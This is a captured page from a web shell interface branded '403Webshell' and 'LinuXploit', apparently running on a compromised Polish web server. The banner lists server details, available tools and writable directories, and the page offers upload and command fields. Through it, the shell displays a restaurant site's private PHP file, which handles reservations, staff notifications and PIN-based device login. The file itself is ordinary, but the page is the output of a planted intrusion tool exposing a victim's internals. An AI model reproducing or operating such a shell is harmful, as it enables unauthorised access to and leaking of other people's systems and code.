403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/operations.php
<?php
declare(strict_types=1);

function ensure_operations_schema(): void
{
    ensure_reservations_schema();

    $cols = db()->query('SHOW COLUMNS FROM reservations')->fetchAll();
    $names = array_map(static fn(array $r): string => (string)$r['Field'], $cols);
    if (!in_array('assigned_waiter_user_id', $names, true)) {
        db()->exec('ALTER TABLE reservations ADD COLUMN assigned_waiter_user_id INT UNSIGNED DEFAULT NULL AFTER internal_note');
        db()->exec('ALTER TABLE reservations ADD INDEX idx_reservation_waiter (assigned_waiter_user_id, reservation_date)');
    }
    if (!in_array('table_label', $names, true)) {
        db()->exec('ALTER TABLE reservations ADD COLUMN table_label VARCHAR(40) DEFAULT NULL AFTER assigned_waiter_user_id');
    }

    $userCols = db()->query('SHOW COLUMNS FROM users')->fetchAll();
    $userNames = array_map(static fn(array $r): string => (string)$r['Field'], $userCols);
    if (!in_array('staff_pin_hash', $userNames, true)) {
        db()->exec('ALTER TABLE users ADD COLUMN staff_pin_hash VARCHAR(255) DEFAULT NULL');
    }
    if (!in_array('staff_pin_updated_at', $userNames, true)) {
        db()->exec('ALTER TABLE users ADD COLUMN staff_pin_updated_at DATETIME DEFAULT NULL');
    }

    db()->exec(
        "CREATE TABLE IF NOT EXISTS daily_shift_notes (
            work_date DATE PRIMARY KEY,
            note TEXT DEFAULT NULL,
            updated_by_user_id INT UNSIGNED DEFAULT NULL,
            updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
            CONSTRAINT fk_daily_note_user FOREIGN KEY (updated_by_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    db()->exec(
        "CREATE TABLE IF NOT EXISTS staff_notifications (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            user_id INT UNSIGNED NOT NULL,
            type VARCHAR(40) NOT NULL DEFAULT 'info',
            title VARCHAR(160) NOT NULL,
            body VARCHAR(500) DEFAULT NULL,
            link VARCHAR(255) DEFAULT NULL,
            read_at DATETIME DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            INDEX idx_staff_notify_user (user_id, read_at, created_at),
            CONSTRAINT fk_staff_notify_user FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    db()->exec(
        "CREATE TABLE IF NOT EXISTS staff_pin_devices (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            user_id INT UNSIGNED NOT NULL,
            token_hash CHAR(64) NOT NULL,
            device_label VARCHAR(120) DEFAULT NULL,
            last_used_at DATETIME DEFAULT NULL,
            expires_at DATETIME NOT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            UNIQUE KEY uq_staff_pin_token (token_hash),
            INDEX idx_staff_pin_user (user_id, expires_at),
            CONSTRAINT fk_staff_pin_user FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );
}

function operations_manager_roles(): array { return ['admin','editor','manager']; }
function operations_month_roles(): array { return ['admin','manager']; }

function daily_shift_note(string $date): ?array
{
    ensure_operations_schema();
    $stmt=db()->prepare('SELECT n.*,u.name,u.username FROM daily_shift_notes n LEFT JOIN users u ON u.id=n.updated_by_user_id WHERE n.work_date=? LIMIT 1');
    $stmt->execute([$date]);
    return $stmt->fetch() ?: null;
}

function daily_shift_note_save(string $date, string $note, int $userId): void
{
    ensure_operations_schema();
    $d=DateTimeImmutable::createFromFormat('!Y-m-d',$date);
    if(!$d || $d->format('Y-m-d')!==$date) throw new RuntimeException('Nieprawidłowa data notatki.');
    $stmt=db()->prepare("INSERT INTO daily_shift_notes (work_date,note,updated_by_user_id) VALUES (?,?,?) ON DUPLICATE KEY UPDATE note=VALUES(note),updated_by_user_id=VALUES(updated_by_user_id),updated_at=NOW()");
    $stmt->execute([$date,trim($note)!==''?trim($note):null,$userId]);
}

function staff_notify_user(int $userId,string $type,string $title,string $body='',string $link=''): void
{
    ensure_operations_schema();
    $stmt=db()->prepare('INSERT INTO staff_notifications (user_id,type,title,body,link) VALUES (?,?,?,?,?)');
    $stmt->execute([$userId,$type,$title,$body!==''?$body:null,$link!==''?$link:null]);
}

function staff_notification_unread_count(int $userId): int
{
    ensure_operations_schema();
    $stmt=db()->prepare('SELECT COUNT(*) FROM staff_notifications WHERE user_id=? AND read_at IS NULL');
    $stmt->execute([$userId]); return (int)$stmt->fetchColumn();
}

function staff_notifications_for_user(int $userId,int $limit=80,bool $unreadOnly=false): array
{
    ensure_operations_schema(); $limit=max(1,min(200,$limit));
    $sql='SELECT * FROM staff_notifications WHERE user_id=?';
    if($unreadOnly)$sql.=' AND read_at IS NULL';
    $sql.=" ORDER BY id DESC LIMIT $limit";
    $stmt=db()->prepare($sql);$stmt->execute([$userId]);return $stmt->fetchAll();
}

function staff_notifications_mark_read(int $userId,?int $notificationId=null): void
{
    ensure_operations_schema();
    if($notificationId){$stmt=db()->prepare('UPDATE staff_notifications SET read_at=COALESCE(read_at,NOW()) WHERE id=? AND user_id=?');$stmt->execute([$notificationId,$userId]);}
    else{$stmt=db()->prepare('UPDATE staff_notifications SET read_at=COALESCE(read_at,NOW()) WHERE user_id=?');$stmt->execute([$userId]);}
}

function staff_notify_schedule_change(string $date,array $before,array $after): void
{
    $old=[];$new=[];
    foreach($before as $r)$old[(int)$r['user_id']]=[$r['start_time']??null,$r['end_time']??null];
    foreach($after as $r)$new[(int)$r['user_id']]=[$r['start_time']??null,$r['end_time']??null];
    $ids=array_unique(array_merge(array_keys($old),array_keys($new)));
    $pretty=(new DateTimeImmutable($date))->format('d.m.Y');
    foreach($ids as $uid){
        if(isset($old[$uid]) && isset($new[$uid]) && $old[$uid]===$new[$uid]) continue;
        if(!isset($new[$uid])) staff_notify_user((int)$uid,'schedule','Zmiana grafiku','Usunięto Cię z grafiku na '.$pretty,'/pracownik/grafik.php?month='.substr($date,0,7));
        elseif(!isset($old[$uid])) staff_notify_user((int)$uid,'schedule','Nowy dzień w grafiku','Dodano Cię do grafiku na '.$pretty,'/pracownik/grafik.php?month='.substr($date,0,7));
        else staff_notify_user((int)$uid,'schedule','Zmiana godzin','Zmieniono Twój grafik na '.$pretty,'/pracownik/grafik.php?month='.substr($date,0,7));
    }
}

function reservation_waiters_for_date(string $date): array
{
    ensure_schedule_schema();
    $stmt=db()->prepare("SELECT u.id,u.username,u.name FROM staff_schedule s JOIN users u ON u.id=s.user_id WHERE s.work_date=? AND u.active=1 AND u.role='waiter' ORDER BY COALESCE(u.name,u.username)");
    $stmt->execute([$date]); return $stmt->fetchAll();
}

function reservation_assign_waiter(int $reservationId,?int $waiterUserId,string $tableLabel,int $actorUserId): void
{
    ensure_operations_schema();
    $reservation=reservation_by_id($reservationId); if(!$reservation) throw new RuntimeException('Nie znaleziono rezerwacji.');
    $old=(int)($reservation['assigned_waiter_user_id']??0);
    if($waiterUserId!==null){
        $stmt=db()->prepare("SELECT COUNT(*) FROM users WHERE id=? AND active=1 AND role='waiter'");$stmt->execute([$waiterUserId]);
        if((int)$stmt->fetchColumn()!==1) throw new RuntimeException('Wybrany kelner jest niedostępny.');
    }
    $tableLabel=mb_substr(trim($tableLabel),0,40,'UTF-8');
    db()->prepare('UPDATE reservations SET assigned_waiter_user_id=?,table_label=? WHERE id=?')->execute([$waiterUserId,$tableLabel!==''?$tableLabel:null,$reservationId]);
    reservation_add_event($reservationId,'assignment','Zmieniono przypisanie kelnera/stolika.',$actorUserId);
    if($old>0 && $old!==($waiterUserId??0)) staff_notify_user($old,'reservation','Zmiana rezerwacji','Rezerwacja '.$reservation['reservation_code'].' nie jest już przypisana do Ciebie.','/pracownik/rezerwacje.php');
    if(($waiterUserId??0)>0 && $old!==$waiterUserId){
        $body=(new DateTimeImmutable($reservation['reservation_date']))->format('d.m').' · '.substr((string)$reservation['reservation_time'],0,5).' · '.$reservation['guest_name'];
        if($tableLabel!=='')$body.=' · stolik '.$tableLabel;
        staff_notify_user((int)$waiterUserId,'reservation','Przypisano rezerwację',$body,'/pracownik/rezerwacje.php');
    }
}

function staff_pin_cookie_name(): string { return 'POLANA_STAFF_DEVICE'; }

function staff_pin_user_from_device(): ?array
{
    ensure_operations_schema();
    $token=(string)($_COOKIE[staff_pin_cookie_name()]??''); if(strlen($token)<32)return null;
    $hash=hash('sha256',$token);
    $stmt=db()->prepare("SELECT d.id AS device_id,d.user_id,u.username,u.name,u.role,u.staff_pin_hash FROM staff_pin_devices d JOIN users u ON u.id=d.user_id WHERE d.token_hash=? AND d.expires_at>NOW() AND u.active=1 AND u.role IN ('waiter','kitchen') LIMIT 1");
    $stmt->execute([$hash]);return $stmt->fetch() ?: null;
}

function staff_pin_set(int $userId,string $pin): void
{
    ensure_operations_schema();
    if(!preg_match('/^\\d{4}$/',$pin)) throw new RuntimeException('PIN musi mieć dokładnie 4 cyfry.');
    if(function_exists('staff_pin_is_unique') && !staff_pin_is_unique($pin,$userId)) {
        throw new RuntimeException('Ten PIN jest już używany przez innego pracownika.');
    }
    db()->prepare('UPDATE users SET staff_pin_hash=?,staff_pin_updated_at=NOW() WHERE id=?')
        ->execute([password_hash($pin,PASSWORD_DEFAULT),$userId]);
}

function staff_pin_enable_device(int $userId,string $label=''): void
{
    ensure_operations_schema();
    $stmt=db()->prepare("SELECT staff_pin_hash FROM users WHERE id=? AND active=1 AND role IN ('waiter','kitchen')");$stmt->execute([$userId]);
    if(!(string)$stmt->fetchColumn())throw new RuntimeException('Najpierw ustaw PIN.');
    $token=bin2hex(random_bytes(32));$hash=hash('sha256',$token);$expires=(new DateTimeImmutable('+180 days'))->format('Y-m-d H:i:s');
    db()->prepare('INSERT INTO staff_pin_devices (user_id,token_hash,device_label,expires_at) VALUES (?,?,?,?)')->execute([$userId,$hash,mb_substr(trim($label),0,120,'UTF-8')?:null,$expires]);
    $secure=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')||(($_SERVER['HTTP_X_FORWARDED_PROTO']??'')==='https');
    setcookie(staff_pin_cookie_name(),$token,['expires'=>time()+180*86400,'path'=>'/','secure'=>$secure,'httponly'=>true,'samesite'=>'Strict']);
    $_COOKIE[staff_pin_cookie_name()]=$token;
}

function staff_pin_disable_current_device(int $userId): void
{
    ensure_operations_schema();$token=(string)($_COOKIE[staff_pin_cookie_name()]??'');
    if($token!=='')db()->prepare('DELETE FROM staff_pin_devices WHERE user_id=? AND token_hash=?')->execute([$userId,hash('sha256',$token)]);
    setcookie(staff_pin_cookie_name(),'',['expires'=>time()-3600,'path'=>'/','httponly'=>true,'samesite'=>'Strict']);unset($_COOKIE[staff_pin_cookie_name()]);
}

function staff_pin_verify_device(string $pin): ?int
{
    $device=staff_pin_user_from_device();if(!$device || empty($device['staff_pin_hash']))return null;
    if(!password_verify($pin,(string)$device['staff_pin_hash']))return null;
    db()->prepare('UPDATE staff_pin_devices SET last_used_at=NOW() WHERE id=?')->execute([(int)$device['device_id']]);
    return (int)$device['user_id'];
}

Youez - 2016 - github.com/yon3zu
LinuXploit